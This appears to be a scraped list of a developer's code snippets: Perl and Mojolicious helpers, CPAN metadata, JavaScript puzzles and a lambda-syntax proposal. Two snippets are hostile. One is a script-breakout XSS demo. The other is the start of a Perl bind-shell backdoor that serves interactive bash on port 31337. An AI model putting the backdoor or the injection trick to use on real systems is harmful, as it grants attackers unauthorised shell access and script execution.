During hackaton we've created HAL(http://amazon5.hansaworld.net/) to JavaScript compiler just for fun.
Performance impovements: 2000x 😎
Original source code in HAL:
function val MULTIPLY(val i, val j)
begin
val res;
| # Replace "form_for" helper | |
| my $original_form_for = delete $app->renderer->helpers->{form_for}; | |
| croak qq{Cannot find helper "form_for". Please, load plugin "TagHelpers" before} | |
| unless $original_form_for; | |
| $app->helper( form_for => sub { | |
| my $c = shift; | |
| if ( defined $_[-1] && ref( $_[-1] ) eq 'CODE' ) { | |
| my $cb = $_[-1]; |
| use Try::Tiny; | |
| sub load { | |
| my $self = shift; | |
| try { | |
| return $self->SUPER::load(@_); | |
| } | |
| catch { | |
| ... |
| { | |
| "modules" : { | |
| "CPAN::Meta" : { | |
| "dist" : "CPAN-Meta-2.130880", | |
| "mymeta" : { | |
| "abstract" : "the distribution metadata for a CPAN dist", | |
| "author" : [ | |
| "David Golden <[email protected]>", | |
| "Ricardo Signes <[email protected]>" | |
| ], |
| /* | |
| There is an AST (Abstract syntax tree) in JSON format. | |
| AST represents Excel spreadsheet formula. | |
| Is it possible in JavaScript to make RPN (Reverse Polish Notation) faster than AST? | |
| AST evaluation is recusive and RPN evaluation is iterative. | |
| But in any case, AST evaluation is faster despite recursion. | |
| I guess that the main problem is in using dynamic js arrays to emulate stack. | |
| Would RPN win if it was written in C/C++? | |
| var obj = { name: 'koorchik', age: 31 }; | |
| var funcs = {}; | |
| for (var prop in obj) { | |
| funcs[prop] = function() { return obj[prop] }; | |
| } | |
| console.log( funcs.name(), funcs.age() ); |
During hackaton we've created HAL(http://amazon5.hansaworld.net/) to JavaScript compiler just for fun.
Performance impovements: 2000x 😎
Original source code in HAL:
function val MULTIPLY(val i, val j)
begin
val res;
| <script type="text/javascript"> | |
| var a = "</script><script>alert(1);"; | |
| </script> |
Inspired by the Perl6 pointy block short syntax (https://docs.perl6.org/type/Whatever) I like functional programming in JS. And it will be great to have even shorter syntax for lambdas (than arrow functions).
The compiler should detect special syntax and convert it to arrow functions.
Motivation: With shorter syntax it is clearer what is the intent of the code. Moreover, we do not write variable names twice. It is like when you contruct on object obj = {name: name, email: email} you use shorter syntax obj = {name, email}. Here it similar appoach.
Here are some examples. For every example bothe notation are the same.
| #!/usr/bin/perl | |
| $SHELL="/bin/bash -i"; ## Будем использовать интерактивный bash в качестве шелла | |
| $LISTEN_PORT="31337"; ## Выбираем порт 31337 для бэкдора | |
| use Socket; ## Используем модуль Socket | |
| $protocol=getprotobyname('tcp'); ### Протокол - TCP | |
| socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket\n"; ### Пытаемся создать сокет-дескриптор либо завершаем скрипт с сообщением об ошибке. | |
| setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1); ## Заставляем сокет поддерживать REUSE - возможность многоразового использования порта | |
| bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port\n"; ## Биндим порт на все адреса машины либо сообщаем об ошибке | |
| listen (S,3) || die "Cant listen port\n"; ## Ждем коннектов на порт |
| #!/usr/bin/perl | |
| use warnings; | |
| use strict; | |
| my $in = $ARGV[0] || ''; | |
| my $out = $ARGV[1] || ''; | |
| unless(defined($in) && -e $in) { | |
| die "File [$in] does not exists; $!"; | |
| } |